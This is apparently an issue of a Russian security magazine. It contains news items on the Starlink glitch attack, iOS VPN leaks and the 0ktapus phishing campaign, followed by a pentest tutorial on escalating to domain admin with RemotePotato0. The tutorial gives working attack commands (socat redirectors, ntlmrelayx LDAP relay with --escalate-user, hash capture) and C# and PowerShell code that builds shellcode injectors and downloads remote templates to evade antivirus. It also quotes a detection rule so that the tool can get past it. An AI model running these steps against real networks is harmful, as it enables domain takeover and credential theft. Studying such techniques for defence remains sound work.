При этом Воутерс отмечает, что, хотя SpaceX и выпустила обновление, чтобы усложнить атаку (в ответ он изменил свой мод-чип), основная проблема не может быть исправлена, пока компания не создаст новую версию основного чипа. По этой причине все пользовательские терминалы по-прежнему уязвимы, хотя реализовать атаку стало заметно труднее.

Спецификации мод-чипа уже доступны на GitHub, но Воутерс говорит, что не планирует продавать готовые платы, а также не станет распространять кастомную прошивку для пользовательского терминала или приводить точные данные о сбое, который он эксплуатировал.

После выступления Воутерса на Black Hat инженеры Starlink опубликовали развернутый ответ исследователю, в котором объяснили, как они именно защищают свои системы.

««Мы находим эту атаку впечатляющей с технической точки зрения, и это первая подобная атака, о которой нам стало известно, — гласит

документ. — Мы ожидаем, что злоумышленники, обладающие инвазивным физическим доступом, смогут совершать вредоносные действия

от лица одного комплекта Starlink, используя его идентификатор, поэто-

му мы полагаемся на принцип „наименьших привилегий“, чтобы огра- » ничить последствия для системы в целом».

Специалисты Starlink подчеркивают, что для такой атаки необходим физический доступ к терминалу и в результате сбоя при загрузке можно скомпрометировать только одно конкретное устройство, а не всю сеть Starlink.

««Обычным пользователям Starlink не нужно беспокоиться о том, что эта атака затронет их, или предпринимать какие то ответные действия», — » резюмируют в Starlink.

В2 РАЗА ВЫРОС ИНТЕРЕС К РЕКЛАМЕ В TELEGRAM

Совместное исследование биржи рекламы в Telegram-каналах Telega.in и сервиса для управления контекстной рекламы eLama показало, что в первом полугодии интерес к нативной рекламе

в Telegram в России увеличился почти в два раза.

Оборот рекламы в Telegram в июле 2022 года в целом не падал ниже значений января 2022-го по динамике стоимости 1000 показов рекламных постов в мессенджере. Самый резкий рост (38%) произошел в категориях «Дети и родители», «Интернет и технологии» (21%), а также «Бизнес и стартапы» и «Региональные» (по 19%). Самая высокая стоимость за 1000 показов была зафиксирована в категории «Инвестиции» — 3398 рублей.

При этом средняя стоимость 1000 просмотров рекламы в большинстве тематик снизилась

в среднем на 4–7%. Аналитики связывают это с блокировкой зарубежных соцсетей и значительным притоком подписчиков в Telegram-каналы и, следовательно, резким ростом количества просмотров.

VPN В IOS

НЕ РАБОТАЕТ НОРМАЛЬНО

Несколько лет назад инженеры компании Proton Technologies, стоящей за разработкой ProtonMail и ProtonVPN, рассказали о баге в составе iOS 13.3.1, который не позволяет VPN-приложениям шифровать весь трафик. Как теперь сообщили ИБ-эксперты, проблема до сих пор не исправлена.

В 2020 году специалисты Proton Technologies объясняли, что при использовании VPN операционная система должна закрывать все интернет-соеди- нения и восстанавливать их уже через VPN-туннель для защиты конфиденциальности и данных пользователя. Однако iOS по какой-то причине не справляется с закрытием существующих соединений, и в итоге трафик остается незащищенным. Так, новые интернет-соединения будут подключаться через VPN-туннель, но соединения, которые уже были активны, когда пользователь подключился к VPN-серверу, останутся вне туннеля.

Хотя незащищенные соединения встречаются все реже, основная проблема заключается в том, что IP-адрес пользователя и IP-адрес сервера, к которому он подключается, остаются открытыми и сервер «видит» реальный IP-адрес пользователя вместо IP-адреса VPN-сервера.

Исследователи Proton Technologies продолжали ждать выхода патча очень долго. Время от времени специалисты обновляли свой отчет, чтобы сообщить, что исправления все еще нет, хотя Apple известно о проблеме. Так, до недавнего времени последнее обновление в тексте было датировано 19 октября 2020 года, и в нем сообщалось, что уязвимость так и не была окончательно устранена в iOS 13.4, 13.5, 13.6, 13.7 и 14.

Ранее в текущем году ИБ-исследователь и разработчик Майкл Горовиц (Michael Horowitz) еще раз изучил эту ситуацию и обнаружил, что VPN в iOS по-прежнему не работают корректно и провоцируют утечки данных.

««VPN в iOS не работают, — пишет Горовиц в публикации, озаглавленной „VPN в iOS — это скам“. — Сначала кажется, что они работают нормаль-

но. Устройство на iOS получает новый общедоступный IP-адрес и новые DNS-серверы. Данные передаются на VPN-сервер. Но со временем

детальная проверка данных, покидающих устройство, показывает, что VPN-туннель „протекает“. Данные покидают устройство iOS не через » VPN-туннель. Это не обычная утечка DNS, это утечка данных».

Горовиц говорит, что еще в мае 2022 года он отправил в Apple электронное письмо, сообщающее об этой утечке. В июле он рассказал, что обменялся

скомпанией несколькими письмами, но никакого результата это не дало:

««На сегодняшний день, примерно пять недель спустя, Apple практически ничего мне не ответила. Они не сказали, пытались ли они воссоздать

проблему. Они не сказали, согласны ли они с тем, что это уязвимость. » Они ничего не сказали об исправлении».

Кроме того, 18 августа 2022 года эксперты Proton Technologies опять обновили свой старый отчет. Они сообщают, что функция «рубильника», которую Apple представила для разработчиков с релизом iOS 14, действительно блокирует дополнительный сетевой трафик, однако «некоторые DNS-запросы от служб Apple по-прежнему могут отправляться в обход VPN-подключения».

	«Мы неоднократно	поднимали этот вопрос, обращаясь к Apple.
	«К сожалению, исправление проблемы весьма проблематично. Apple
	заявила, что данное поведение „ожидаемо“, а „Always On VPN доступен
	только на контролируемых с помощью MDM устройствах“. Мы призыва-
	ем Apple сделать полностью безопасную работу в интернете доступной
	для всех, а не только для тех, кто подключен к проприетарному фрей-		»
	мворку удаленного	управления устройствами, разработанному

для предприятий», — пишут эксперты Proton Technologies.

ДОРСИ СОЖАЛЕЕТ, ЧТО TWITTER СТАЛ КОМПАНИЕЙ

Недавно простой пользователь Twitter поинтересовался у основателя сервиса и бывшего CEO компании Джека Дорси, не кажется ли ему, что в последнее время у социальной сети явные проблемы и она стала «слишком левой». Дорси, покинувший пост главы компании в конце 2021 года, ответил так:

→ «Самая большая проблема и мое самое большое сожаление связаны с тем, что Twitter стал компанией».

Когда Дорси спросили, как он сам видит Twitter (возможно, неправительственной организацией или, напротив, государственным сервисом) и в какой структуре, по его мнению, должна работать соцсеть, последовал не менее интересный ответ:

→ «Открытый протокол. Это возможно, Bitcoin доказал это, равно как и HT TP, SMTP, HTML. [Twitter] точно не может принадлежать государству или компании, и это становится яснее с каждым днем».

КАМПАНИЯ 0KTAPUS: СКВОЗНЫЕ АТАКИ НА 130 КОМПАНИЙ

Специалисты Group-IB опубликовали детальный отчет, посвященный кампании 0ktapus. Эксперты сообщили, что фишинговые атаки на сотрудников Twilio и Cloud are были частью единой масштабной кампании, в результате

которой	хакеры	скомпрометировали 9931 учетную запись	более чем
в 130 компаниях.
Все	началось	со взлома Twilio, который произошел	в начале

августа 2022 года. Тогда выяснилось, что неизвестные злоумышленники организовали эффективную фишинговую атаку на сотрудников компании, похитили их учетные данные, а затем использовали для доступа к информации о некоторых клиентах.

Как стало известно позже, этот инцидент затронул 125 компаний — клиентов Twilio, а вскоре о похожих атаках сообщили Cloud are, MailChimp

иKlaviyo. Более того, атаки стали развиваться дальше — из-за компрометации перечисленных компаний пострадали их клиенты. Например, мессенджер Signal, который оказался затронут из-за взлома Twilio.

Также, по информации СМИ, среди целей хакеров были Coinbase, KuCoin, Binance, Microsoft, Telus, Verizon Wireless, T-Mobile, AT&T, Sprint, Rogers, Mailgun, Slack, Box, SendGrid, Yahoo, Sykes, BestBuy и Infosys. В Group-IB эту фишинговую кампанию называют беспрецедентной по масштабу и охвату.

Как рассказали аналитики, в целом жертв было намного больше, чем известно сейчас, а кампания 0ktapus активна как минимум с марта 2022 года. Основной целью этой кампании была кража идентификационных данных Okta

икодов двухфакторной аутентификации (2ФА) для последующих атак на цепочку поставок. Отчет гласит, что подавляющее большинство жертв 0ktapus находится в США и многие из них используют сервисы управления идентификацией и контролем доступа Okta.

««Хотя в этих атаках злоумышленникам, возможно, повезло, гораздо более вероятно, что они тщательно продумали эту фишинговую кам-

панию, чтобы запустить изощренные атаки на цепочку поставок. Пока неясно, планировались ли „сквозные“ атаки заранее или на каждом этапе предпринимались оппортунистические действия. Несмотря на это,

кампания 0ktapus была невероятно успешной, и ее полный масштаб может быть неясен еще некоторое время», — рассказывает Роберт » Мартинес, старший аналитик Threat Intelligence в Group-IB.

Как уже было отмечено, основной целью злоумышленников было получение учетных данных для Okta и кодов 2ФА сотрудников целевых организаций. Жертвы хакеров получали текстовые сообщения с ссылками на фишинговые сайты, имитирующие страницу аутентификации Okta для их организации.

Фейковая страница аутентификации

При этом до сих пор неясно, как хакеры составили список целей и как узнали телефонные номера целевых сотрудников. По информации Group-IB, атакующие начали кампанию, нацеливаясь на операторов мобильной связи и телекоммуникационные компании. Вероятно, это было сделано в рамках подготовки и сбора данных.

В общей сложности исследователи обнаружили 169 уникальных фишинговых доменов, задействованных в рамках 0ktapus. В доменах использовались такие ключевые слова, как SSO, VPN, OKTA, MFA и HELP. С точки зрения жертвы, фишинговые сайты выглядели убедительно и походили на легитимную страницу аутентификации, которой те привыкли пользоваться. При этом все сайты были созданы с помощью одного и того же фишинг-кита, ранее неизвестного экспертам.

Изучив код этого фишинг-кита, аналитики обнаружили строки, связанные с конфигурацией бота в Telegram, а также канал, который хакеры использовали для сбора скомпрометированных данных. Благодаря этому исследователи смогли проанализировать данные, полученные злоумышленниками с марта 2022 года.

Суммарно хакерам удалось похитить учетные данные 9931 пользователя, в том числе 3129 записей с email и 5441 запись с кодами мультифакторной аутентификации. Поскольку две трети записей содержали не корпоративную электронную почту, а только имена пользователей и коды 2ФА, исследователи сумели определить лишь регионы проживания жертв: из 136 атакованных компаний 114 находятся в США.

Большинство пострадавших связаны с ИТ, разработкой программного обеспечения и облачными сервисами, но также злоумышленников интересовали криптовалютные проекты и фирмы, занимающиеся финансами и рекрутингом.

Нужно сказать, что уже после публикации отчета Group-IB о себе заявили новые жертвы 0ktapus, тем самым полностью подтвердив мрачные прогнозы специалистов. Так, стало известно, что сразу три компании пострадали от хакерских атак и допустили утечки данных: принадлежащий Twilio 2ФА-сер- вис Authy, менеджер паролей LastPass, а также сеть доставки еды DoorDash.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Из-за неизвестного бага из тысяч Solana-кошельков похитили средства Хак-группа APT31 атакует российский топливно-энергетический комплекс и СМИ

Американские власти наложили санкции на криптовалютный миксер Tornado Cash. Разработчик арестован

Вкоммерческих ИБ-продуктах без разрешения используется чужой код Взломан анонимный сайт для рассылки фекалий по почте

Одобренные Microsoft UEFI-бутлоадеры могли обойти Secure Boot Google запретит VPN-приложениям блокировать рекламу

Вбюджетных подделках под известные Android-смартфоны нашли бэкдоры К зашифрованным архивам ZIP подходят два разных пароля

Кабель O.MG Elite получил расширенные сетевые возможности

ПОВЫШАЕМ ПРИВИЛЕГИИ В AD ПРИ ПОМОЩИ

REMOTEPOTATO0

Эта история относится к категории «байки с внутренних пентестов», когда мы попали в среду Active Directory, где члены группы безопасности Domain Users (все пользователи домена) обладали привилегией для удаленного подключения к контроллерам домена по протоколу RDP. Хоть это уже само по себе ужасная «мисконфига», потенциальный злоумышленник все еще должен найти способ для локального повышения привилегий на DC, что проблематично, если на системе стоят все хотфиксы.

Здесь и приходит на помощь баг фича из серии Microsoft Won’t Fix List — кросс-сессионное провоцирование вынужденной аутентификации по протоколу RPC. При отсутствии защиты службы LDAP от атак NTLM Relay оно мгновенно подарит тебе «ключи от королевства».

ПРЕДЫСТОРИЯ

Итак, внутренний пентест. Все по классике: только я, мой ноутбук, капюшон и маска Гая Фокса переговорка, скоммутированная розетка RJ-45 и просторы корпоративной сети жертвы аудита. Отсутствие правил фильтрации IPv6 в моем широковещательном домене — в роли уязвимости, отравленные пакеты DHCPv6 Advertise с link-local IPv6-адресом моего ноутбука (mitm6) —

вроли атаки, и вот получен первоначальный аутентифицированный доступ

всреду AD. Далее сбор дампа «блада» с помощью BloodHound.py, пока все

как обычно.

Но вот то, что было дальше, повергло меня в шок... Оказалось, что все доменные «пользаки» могут коннектиться к контроллерам домена по RDP. Действительно, что может пойти не так?

Найди уязвимость на картинке

В этот момент можно начинать потирать руки в предвкушении кредов доменадмина. Убедимся, что мы можем релеить Net-NTLMv2-аутентификацию на службы LDAP(S) с помощью LdapRelayScan.

~$ python3 LdapRelayScan.py -method BOTH -dc-ip -u -p

PARTY TIME!

Неудивительно, что LDAP Signing (защита LDAP, 389/TCP) и LDAP Channel Binding (защита LDAPS, 636/TCP) отключены, — еще мало кто осознал, что это мастхев-mitigations для AD в наше время.

А теперь по порядку, что со всем этим можно сделать.

НЕМНОГО О «КАРТОШКАХ»

RottenPotato & Co

В далеком 2016 году умные люди придумали RottenPotato — технику локального повышения привилегий с сервисных аккаунтов Windows (например, IIS

APPPOOL\DefaultAppPool или NT Service\MSSQL$SQLEXPRESS), обладающих привилегией олицетворения чужих токенов безопасности (aka SeImpersonatePrivilege), до NT AUTHORITY\SYSTEM.

Для этого атакующий должен был:

1.Спровоцировать вынужденную аутентификацию со стороны NT AUTHORITY\SYSTEM на машине-жертве через триггер API-ручки

DCOM/RPC CoGetInstanceFromIStorage в отношении локального слу-

шателя (выступает в роли «человека посередине»).

2.Одновременно провести локальную атаку NTLM Relay на службу RPC (135/TCP) и дернуть API-вызов DCOM/RPC AcceptSecurityContext,

передавая ему содержимое NTLM-части запроса Negotiate (NTLM Type 1)

от NT AUTHORITY\SYSTEM.

3.Подменить NTLM-челлендж (NTLM Type 2), исходящий от службы RPC (135/TCP), челленджем, полученным из ответа AcceptSecurityContext, и продолжить изначальный релей на RPC из шага 1. В этом контексте NTLM-ответ службы RPC (135/TCP) используется просто как шаблон сетевого ответа, в который мы инжектим нужное нам тело NTLM-челлен- джа.

4.После успешного получения NTLM-аутентификации (NTLM Type 3) клиента RPC из шага 1 в ответ на NTLM-челлендж (NTLM Type 2) из шага 3 зарелеить ее на RPC-ручку AcceptSecurityContext и получить токен системы. На этом NTLM Relay окончен.

5.Имперсонировать NT AUTHORITY\SYSTEM. Мы можем это сделать потому, что у нас есть привилегия SeImpersonatePrivilege.

Механизм работы RottenPotato (изображение — jlajara.gitlab.io)

Некоторое время спустя лавочку прикрыли, запретив DCOM/RPC общаться с локальными слушателями, — никаких тебе больше митмов. Но «картошки» все равно претерпевали изменения: были напилены LonelyPotato (неактуально) и JuicyPotato — улучшенная версия RottenPotato, умеющая работать с разными значениями CLSID (Class ID, идентификатор COM-класса) для «арбузинга» дру- гих служб (помимо BITS, которую использовала оригинальная «картошка»), в которых реализован интерфейс IMarshal для триггера NTLM-аутентификации.

В данном случае провоцирование NTLM-аутентификации в своей основе имеет принцип, схожий с вредоносной десериализацией объектов, только здесь это называется «анмаршалинг» — процесс восстановления COM-объекта из последовательности битов после его передачи в целевой метод в качестве аргумента.

Атакующий создает вредоносный COM-объект класса IStorage и вызывает

API CoGetInstanceFromIStorage с указанием создать объект класса с конкретным идентификатором CLSID и инициализировать его состоянием из маршализированного вредоносного объекта. Одно из полей маршализированного объекта содержит указатель на подконтрольный атакующему слушатель, на который автоматически приходит отстук с NTLM-аутентификацией в процессе анмаршалинга.

public static void BootstrapComMarshal(int port)

{

IStorage stg = ComUtils.CreateStorage();

// Use a known local system service COM server, in this

cast BITSv1

Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097"

);

TestClass c = new TestClass(stg, String.Format("127.0.0.1[{

0}]", port));

MULTI_QI[] qis = new MULTI_QI[1];

qis[0].pIID = ComUtils.IID_IUnknownPtr;

qis[0].pItf = null;

qis[0].hr = 0;

CoGetInstanceFromIStorage(null, ref clsid,

null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);

}

Подробнее о механизме триггера NTLM-аутентификации в ходе абьюза DCOM/RPC можно почитать в первом репорте Project Zero на эту тему.

RoguePotato

С релизом RoguePotato — эволюционировавшей версией JuicyPotato — был продемонстрирован альтернативный подход к имперсонации привилегированных системных токенов:

1.Злоумышленник поднимает кастомный сервис OXID (Object Exporter ID) Resolver на локальном порте атакуемой машины, отличном от 135/TCP. OXID-резолвер используется в Windows для разрешения идентификатора вызываемого интерфейса RPC (в нашем случае подконтрольного аттакеру) в его имя, то есть в строку RPC-биндинга.

2.Злоумышленник говорит службе DCOM/RPC машины-жертвы постучаться на удаленный IP-адрес (контролируется атакующим) для резолва той

самой OXID-записи. Это необходимо из-за того, что в Microsoft запретили обращаться к локальным OXID-резолверам, слушающим íå на пор-

те 135/TCP.

3.На том самом удаленном IP-адресе злоумышленник поднимает socat (или любой другой TCP-редиректор) на порте 135/TCP и «зеркалит» пришедший OXID-запрос на атакуемую машину в порт, на котором слушает кастомный сервис OXID Resolver из шага 1. А он уже резолвит предоставленный идентификатор в строку RPC-биндинга именованного канала ncacn_np:localhost/pipe/RoguePotato[\pipe\epmapper].

4.Далее машина-жертва наконец-то делает вредоносный RPC-вызов (APIручка IRemUnkown2) с подключением к подконтрольному атакующему пай-

пу из шага 3, что позволяет нам имперсонировать подключившийся клиент с помощью RpcImpersonateClient, как это описал @itm4n в судьбонос-

ном ресерче PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019.

Механизм работы RoguePotato (изображение — jlajara.gitlab.io)

С базовой теорией закончили.

Potatoes — Windows Privilege Escalation — статья с хорошим описанием всех «картошек» и таймлайном их появления.

REMOTEPOTATO0

Введение

RemotePotato0 — успешный результат попытки расширить область применения RoguePotato для проведения атак на доменные учетные записи.

Работает это примерно так же, как и RoguePotato, за исключением того, что теперь мы используем другие службы (с другими значениями CLSID), чтобы триггерить NTLM-аутентификации от имени пользователей, сессии которых существуют на атакуемой машине одновременно с нашей. Первоначальный вариант эксплоита работал только при условии действия атакующего из так называемого нулевого сеанса.

Session 0 Isolation — концепция разделения сессий пользователей и сессий системных служб и неинтерактивных приложений. Начиная с Windows Vista, все пользователи, подключаясь к машине удаленно по протоколу RDP, проваливаются в свою сессию, откуда не могут взаимодействовать с процессами, запущенными в других сессиях, если не обладают правами локального администратора. Однако если пользователь подключен через службу WinRM (Windows Remote Management, 5985–5986/TCP) или SSH, то он проваливается непосредственно в нулевой сеанс, так как сами указанные службы существуют именно там.

Наглядный пример: пользователь TINYCORP\j.doe в моей лабе не имеет прав локаладмина на сервере TEXAS, поэтому не может видеть запущенных от имени администратора процессов Google Chrome, будучи подключенным по RDP. Однако, если открыть диспетчер задач с правами администратора, эти процессы будут отображены.

Запуск диспетчера задач с разными правами

С другой стороны, если я включу этого пользователя в локальную группу Remote Management Users на этом сервере и подключусь к нему с помощью Evil-WinRM, я окажусь в контексте Session 0, по-прежнему не обладая правами локаладмина.

Внутри нулевого сеанса по WinRM

Это не означает, что я теперь могу делать с процессами в других сессиях все, что захочу, однако открывает интересные возможности в плане взаимодействия с ними через DCOM/RPC.

То есть в ситуации, когда у нас есть пользователь с правами подключения к серверам в контексте нулевого сеанса через WinRM или SSH (то есть входящий в группу Remote Management Users), но не обладающий правами локального администратора (в противном случае мы можем просто сдампить LSASS для получения нужных кредов), можно было использовать трюк с RemotePotato0 при условии существования на атакуемом сервере сессий привилегированных пользователей. По словам автора эксплоита, в этом случае при триггере NTLM-аутентификации через определенный CLSID мы сможем угнать контекст сессии с наименьшим значением ее идентификатора:

	If we have a shell in Session 0, even as a low privileged user, and trigger
	«these particular CLSIDs, we will	obtain an	NTLM authentication	from
	the user who is interactively	connected	(if more than one	user	»
	is interactively connected, we will get that of the user with lowest session

id).

Понятно, что при таком раскладе область применимости RemotePotato0 была не очень широкой, поэтому хайпа вокруг метода было немного.

Спустя некоторое время эксплоит, ко всеобщей радости, обновился и стал поддерживать функции кросс сессионного триггера NTLM-аутентификации: это означает, что, действуя даже в рамках сессии номер 1 из RDP, мы можем дернуть привилегированный контекст администратора, также залогиненного

вRDP, но в сессии номер 2.

Ивот это уже было прямо пушкой!

Как работает и когда использовать

Перед переходом к практике суммируем наши знания о RemotePotato0. Условия применимости атаки, или чем нам нужно обладать:

1.Скомпрометированная доменная УЗ, имеющая привилегии подключения к удаленному серверу по протоколу RDP, где потенциально могут тусить привилегированные пользователи. На самом деле это условие встречается практически везде, так как везде есть терминальники, куда время от времени заглядывают доменадмины.

2.Подконтрольный атакующему хост в интранете, имеющий сетевую связанность по порту 135/TCP с атакуемым сервером (от этого условия мы избавимся далее).

3.Незащищенный эндпоинт с доменной аутентификацией, куда можно релеить Net-NTLMv2-аутентификацию, прилетевшую на наш HTTP-сервер. Идеальный вариант — службы LDAP(S) или стандартное веб-приложение корпоративного центра сертификации Microsoft AD CS.

4.Возможность исполнения эксплоита RemotePotato0 на атакуемом сервере в обход средств антивирусной защиты.

Как работает атака:

1.Действуя из сессии непривилегированного пользователя, подключенного по RDP к серверу, где есть сессия привилегированного (или любого другого интересующего нас) доменного пользователя, атакующий триггерит NTLM-аутентификацию от имени жертвы через анмаршалинг вредоносного объекта COM-класса IStorage посредством передачи его в качестве

аргумента в API-хендл CoGetInstanceFromIStorage. Во вредоносном объекте живет IP-адрес и порт подконтрольного атакующему сетевого узла, куда позже прилетит NTLM-аутентификация.

2. На своем сервере атакующий зеркалит трафло, пришедшее на порт 135/TCP, обратно на атакуемую машину в порт, где уже поднят фейковый OXID-резолвер, который отдает запросу DCOM нужный RPCбиндинг.

3.Частично повторяется шаг 4 из описания работы RoguePotato: вызов IRemUnknown2::RemRelease в отношении локального RPC-сервера, инкапсуляция RPC-запроса с NTLM-аутентификацией в HTTP и перенаправление его на наш HTTP-сервер. Последний уже поднят на машине атакующего в виде инстанса ntlmrelayx.py.

4.Проведение кросс-протокольной атаки NTLM Relay на незащищенный эндпоинт с доменной аутентификацией. В этом случае атакующий может добавить подконтрольного ему доменного пользователя в привилегированные доменные группы безопасности, настроить ограниченное делегирование на основе ресурсов RBCD Abuse для критических доменных ресурсов или использовать любой другой поддерживаемый вектор атаки ntlmrelayx.py.

Механизм работы RemotePotato0 (изображение — www.sentinelone.com)

Перейдем к практике.

Сферические примеры в вакууме

Прежде чем говорить об уклонении от AV и других апгрейдах, посмотрим на атаку при отключенных средствах защиты, чтобы понимать, какого результата нам ожидать.

Я загружу свежий релиз RemotePotato0 и распакую его прямо на целевом сервере.

PS > curl https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/R emotePotato0.zip -o RemotePotato0.zip

PS > Expand-Archive .\RemotePotato0.zip -DestinationPath . PS > ls .\RemotePotato0*

PS > .\RemotePotato0.exe

Загрузка и распаковка RemotePotato0

Как можно видеть из справки, в нашем распоряжении несколько режимов атаки: можно либо отправить аутентификацию на relay-сервер для ее перенаправления на другой эндпоинт (режим 0, по умолчанию), либо получить значение хеша Net-NTLMv2 для его офлайнового перебора (режим 2). Режимы 1 и 3 предназначены для триггера NTLM-аутентификации вручную, без «картошки», поэтому нам это не очень интересно.

Для разминки сперва попробуем режим 2:

•-m — режим атаки;

•-x — IP-адрес TCP-редиректора, который отзеркалит OXID-резолв обратно машине-жертве на порт, указанный в опции -p (если бы я использовал Windows Server 2012, можно было бы обойтись без этой опции, поскольку на нем нет фиксов, запрещающих резолв OXID-запросов через нестандартные порты);

•-p — порт фейкового локального OXID-резолвера, куда OXID-запрос будет отзеркален машиной атакующего;

•-s — номер сессии пользователя, которого мы хотим олицетворить.

~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9998

PS > .\RemotePotato0.exe -m 2 -x -p 9998 -s

Запуск RemotePotato0 в режиме сбора хешей

Как видим, мы успешно получили значение хеша Net-NTLMv2, который теперь можно спокойно брутить в офлайне (режим 5600 hashcat тебе в помощь). Это полноценная замена атаки Internal Monologue, не требующая к тому же прав локального администратора.

Теперь перейдем к релею на LDAP. Опции те же самые, только добавим флаг -r, задающий IP-адрес HTTP-сервера атакующего, который проведет

NTLM Relay.

~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9998

~$ sudo ntlmrelayx.py -t ldap:// --no-smb-server --no-wcf-server -- no-raw-server --escalate-user

PS > .\RemotePotato0.exe -m 0 -r -x -p 9998 -s

Запуск RemotePotato0 в режиме релея

Вжух, и одной командой мы энтырпрайз одмены!

Продолжение статьи →

БОЕВАЯ ПРАКТИКА

Это все, конечно, здорово, но совсем не жизненно.

Усложним задачу: нужно провести ту же атаку при активном дефендере и не обладая вспомогательной машиной на Linux, на которой поднимается TCPредиректор (допустим, мы проломили внешний периметр и оказались внутри корпоративной инфраструктуры с сессией Cobalt Strike).

Уклоняемся от AV

Судя по моему опыту, большинство аверов детектят RemotePotato0.exe, основываясь исключительно на сигнатурном анализе:

rule SentinelOne_RemotePotato0_privesc {

meta:

author = "SentinelOne"

description = "Detects RemotePotato0 binary"

reference = "https://labs.sentinelone.com/

relaying-potatoes-dce-rpc-ntlm-relay-eop"

strings:

$import1 = "CoGetInstanceFromIStorage"

$istorage_clsid = "{00000306-0000-0000-c000-000000000046}"

nocase wide ascii

$meow_header = { 4d 45 4f 57 }

$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase

wide ascii

$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase

wide ascii

condition:

(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and

$meow_header and 1 of ($clsid*)

}

Есть несколько возможных решений этой проблемы:

1.Упаковать RemotePotato0.exe с помощью какого-нибудь архиватора/энкодера/шифратора.

2.Выдернуть шелл-код из исполняемого файла и внедрить его в процесс из памяти.

На самом деле второй способ — это оверкилл, потому что против Windows Defender работает даже упаковка UPX’ом.

Defender Advanced (ага, да) Evasion UPX-упаковкой

Но мы можем лучше: второй способ не потребует даже загружать исполняемый файл эксплоита на диск, поэтому выбираем этот метод.

В прошлой статье я писал о бесшумном внедрении шелл-кода в память удаленных процессов с помощью механизма D/Invoke.

Помимо D/Invoke, существует еще один интересный способ обфускации вызовов Win32 API при написании эксплоитов на C#. Он освещен в статье

Unmanaged Code Execution with .NET Dynamic PInvoke.

Суть проста: в C# существует нативный механизм System.Re ection.Emit, позволяющий на лету создавать сборки .NET и исполнять их с помощью механизма Reflection.Assembly из памяти прямо в рантайме. Используя этот механизм, мы можем так же на лету строить обертки для вызовов Win32 API, не прибегая к статическим декларациям P/Invoke.

Пример определения функции CreateThread, дергающей одноименную ручку API из kernel32.dll:

class DPInvoke

{

static object DynamicPInvokeBuilder(Type type, string library,

string method, object[] parameters, Type[] parameterTypes)

{

AssemblyName assemblyName = new AssemblyName("Temp01");

AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.

DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);

ModuleBuilder moduleBuilder = assemblyBuilder.

DefineDynamicModule("Temp02");

MethodBuilder methodBuilder = moduleBuilder.

DefinePInvokeMethod(method, library, MethodAttributes.Public |

MethodAttributes.Static | MethodAttributes.PinvokeImpl,

CallingConventions.Standard, type, parameterTypes,

CallingConvention.Winapi, CharSet.Ansi);

methodBuilder.SetImplementationFlags(methodBuilder.

GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig)

;

moduleBuilder.CreateGlobalFunctions();

MethodInfo dynamicMethod = moduleBuilder.GetMethod(method)

;

object result = dynamicMethod.Invoke(null, parameters);

return result;

}

public static IntPtr CreateThread(IntPtr lpThreadAttributes,

uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint

dwCreationFlags, IntPtr lpThreadId)

{

Type[] parameterTypes = { typeof(IntPtr), typeof(uint),

typeof(IntPtr), typeof(IntPtr), typeof(uint), typeof(IntPtr) };

object[] parameters = { lpThreadAttributes, dwStackSize,

lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };

var result = (IntPtr)DynamicPInvokeBuilder(typeof(IntPtr),

"kernel32.dll", "CreateThread", parameters, parameterTypes);

return result;

}

}

На основе примеров из статьи по ссылке выше я напилил шаблон для автоматизации создания self-инжекторов. Шелл-коды генерируются из PE-файлов с помощью этого форка проекта donut.

Для компиляции .NET потребуется машина с Visual Studio.

~$ wget -q https://github.com/antonioCoco/RemotePotato0/releases/

download/1.2/RemotePotato0.zip

~$ unzip RemotePotato0.zip

~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 2 -x <ATTACKER_IP>

-p 9998 -s <SESSION_ID>' -o RemotePotato0.bin

PS > $binaryName = "RemotePotato0"

PS > $bytes = [System.IO.File]::ReadAllBytes("$(pwd)\${

binaryName}.bin")

PS > [System.IO.MemoryStream] $outStream = New-Object System.IO.

MemoryStream

PS > $dStream = New-Object System.IO.Compression.DeflateStream(

$outStream, [System.IO.Compression.CompressionLevel]::Optimal)

PS > $dStream.Write($bytes, 0, $bytes.Length)

PS > $dStream.Dispose()

PS > $outBytes = $outStream.ToArray()

PS > $outStream.Dispose()

PS > $b64Compressed = [System.Convert]::ToBase64String($outBytes)

PS > $template = (New-Object Net.WebClient).DownloadString(

"https://gist.github.com/snovvcrash/

30bd25b1a5a18d8bb7ce3bb8dc2bae37/raw/

881ec72c7c310bc07af017656a47d0c659fab4f6/template.cs") -creplace

'DONUT', $b64Compressed

PS > $template -creplace 'NAMESPACE', "${binaryName}Inject" > ${

binaryName}Inject.cs

PS > csc /t:exe /platform:x64 /out:${binaryName}Inject.exe ${

binaryName}Inject.cs

PS > rm ${binaryName}Inject.cs

Компиляция self-инжектора

Протестим его в следующем разделе, когда решим проблему с TCP-редирек- тором.

ngrok + socat =

Допустим, мы получили «маячок» CS на уязвимом для атаки сервере, но у нас нет другого ресурса во внутренней сети жертвы, чтобы использовать его как зеркало для OXID-запросов.

Для имитации этой ситуации я врубил обратно «Дефендер», воспользовался своим волшебным инжектором с позаимствованной у @_RastaMouse техникой Module Stomping и получил сессию «Кобы».

Ничего подозрительного

You’ve poped a shell!

Теперь немного pivoting: отсутствие вспомогательной машины я компенсирую тем, что подниму TCP-инстанс ngrok, который даст белый эндпоинт для общения с машиной атакующего (которая находится за пределами внутренней сети).

~$ ngrok tcp 136

ngrok слушает на 136/TCP

Так как мы не можем контролировать порт, который ngrok вешает на «белый» адрес (а нам нужен только 135/TCP), понадобится еще один редиректор. В его роли выступит socat на моей VDS (на атакуемом сервере должен быть доступ в интернеты, чтобы до него достучаться).

~$ nslookup

~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::

ngrok + socat на VDS

